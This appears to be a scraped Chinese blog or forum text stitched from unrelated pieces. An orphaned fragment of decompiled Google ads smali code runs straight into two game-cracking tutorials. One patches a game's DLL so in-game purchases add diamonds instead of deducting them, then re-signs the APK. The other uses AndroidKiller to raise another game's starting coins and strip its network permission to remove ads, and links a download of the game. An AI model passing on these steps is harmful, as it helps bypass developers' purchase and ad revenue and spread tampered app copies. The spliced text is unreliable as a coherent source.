iget-object v3, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
iget-object v3, v3, Lcom/google/android/gms/ads/internal/zzs;->zzrp:Lcom/google/android/gms/ads/internal/client/AdSizeParcel;
const-string v4, "Missing AdActivity with android:configChanges in AndroidManifest.xml."
const-string v5, "Missing AdActivity with android:configChanges in AndroidManifest.xml. You must have the following declaration within the <application> element: <activity android:name=\"com.google.android.gms.ads.AdActivity\" android:configChanges=\"keyboard|keyboardHidden|orientation|screenLayout|uiMode|screenSize|smallestScreenSize\" />"
invoke-virtual {v0, v2, v3, v4, v5}, Lcom/google/android/gms/ads/internal/util/client/zza;->zza(Landroid/view/ViewGroup;Lcom/google/android/gms/ads/internal/client/AdSizeParcel;Ljava/lang/String;Ljava/lang/String;)V
move v0, v1
:cond_1
if-nez v0, :cond_2
iget-object v2, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
iget-object v2, v2, Lcom/google/android/gms/ads/internal/zzs;->zzrm:Lcom/google/android/gms/ads/internal/zzs$zza;
if-eqz v2, :cond_2
iget-object v2, p0, Lcom/google/android/gms/ads/internal/zzf;->zzpj:Lcom/google/android/gms/ads/internal/zzs;
iget-object v2, v2, Lcom/google/android/gms/ads/internal/zzs;->zzrm:Lcom/google/android/gms/ads/internal/zzs$zza;
invoke-virtual {v2, v1}, Lcom/google/android/gms/ads/internal/zzs$zza;->setVisibility(I)V
:cond_2
return v0
.end method接下来说下购买金币增加钻石的方法--修改DLL文件。
1.把游戏的DLL文件解压到另一个文件夹里面,路径:小仓鼠的生活.apk\assets\bin\Data\Managed
2.解压好友把所有的dll文件放入.net reflector软件 搜索(放大镜按钮)coin,搜索方式为search member(快捷键ctrl+m)
3.找到一个BuyCoin CoinShop ,修改这文件就可以达到了。
4.需要下载reflexil.1.9插件进行修改
public void BuyCoin(DiamondShop.DiamondInfo diamondInfo){ this.buySuccessWindow.text = LocalizationCustom.Get("638", LocalizationCustom.LocalizeType.Normal); if (SaveData.instance.data.diamondPoint >= [url=]diamondInfo[/url].valueJP) ------白话:当你身上的钻石大于等于购买商品的钻石时 { SaveData.instance.data.diamondPoint -= [url=]diamondInfo[/url].valueJP; 身上的钻石-商品钻石价格 SaveData.instance.data.coinNum += [url=]diamondInfo[/url].num; this.buySuccessWindow.openFlag = true; BuyDiamondWindow.SendUserItemsData(1, 0, 0, [url=]diamondInfo[/url].num, SaveData.instance.data.coinNum - [url=]diamondInfo[/url].num, SaveData.instance.data.coinNum, [url=]diamondInfo[/url].valueJP, SaveData.instance.data.diamondPoint + [url=]diamondInfo[/url].valueJP, SaveData.instance.data.diamondPoint); MainManager.instance.PlaySound(MainManager.SoundType.CashExchange); 下面就是扣除钻石了 |

我的方法就是删除判断达到即使你钻石不够也可以进行购买,但购买后你的钻石会是负数,因此我又修改下面代码。
把扣除钻石改成增加钻石。
修改完后替换原来的DLL文件,游戏重新签名就可以了
方法结束。
附镇文图两张:
[caption id="" align="alignnone" width="324"]
小仓鼠安卓[/caption]
[caption id="" align="alignnone" width="324"]
安卓游戏破解版小仓鼠[/caption]
昨天玩了一个安卓游戏,叫做《屌丝买房记》,大概就是类似于《北京浮生记》(暴露年龄)一样倒买倒卖的游戏
消磨时间,但是初始金币太少了,最贵的房子要3亿,得玩到什么时候。果断自己动手丰衣足食,咱们直接来修改初始金币。直接变身富二代买房记
准备工作:
游戏一份:链接:http://pan.baidu.com/s/1o8D8kUe 密码:cvo7
反编译工具一份:Androidkiller (论坛有链接,我这里就上传到网盘了,善用搜索)
正文:
打开游戏,我们可以看到,初始金币为3000

用AndroidKiller打开apk文件
点击入口.MaiFangJi跳转到smail

接着点击工具栏查看java源码

如下图

接着咱们CTRL+F搜索3000(初始金币数值)
会搜索出很多3000,都不是咱们要的,咱们一直点next,最后回来到这个地方

defaultcash是不是很眼熟?对,这里就是默认金币数值的位置。
接下来就简单啦,回到smail里面查找字符串-直接搜索3000

双击跳转到数值所在位置
咱们把3000修改为99999999,保存
回编译。
打开我们修改过的游戏,看一下默认金币是否变了
可以看到,金币已经变成了99999999了

至此初始金币修改完成,当然了,如果细心的同学可以看到,游戏里面有健康值,名声,这些数值都在3000附近,直接修改保存就行了。
PS:这个游戏有广告,咱们需要去除他的联网权限,好好的单机游戏要什么联网权限对不。
教程比较简单,没有涉及到IDA,当然了我也是弱鸡。望各位dalao手下留情
后记,关于是如何找到3000这个数值所在的位置,我也是找了好久的,最开始我认为作者会把数值改为十六进制,搜索0xbb8,出来了5个文件,一一修改 都不对,后面查看关键的.maifangji这个文件,通过观察java源码得知所有的关键数值都在里面,包括随机事件,房屋价格。这就帮我确定了初始金 币一定在这里面的想法,接着在java源码里面仔细查看找到了defaultcash这个数值,修改一下尝试,果然是对的。
修改的关键在于,善于分析,用排除法
就酱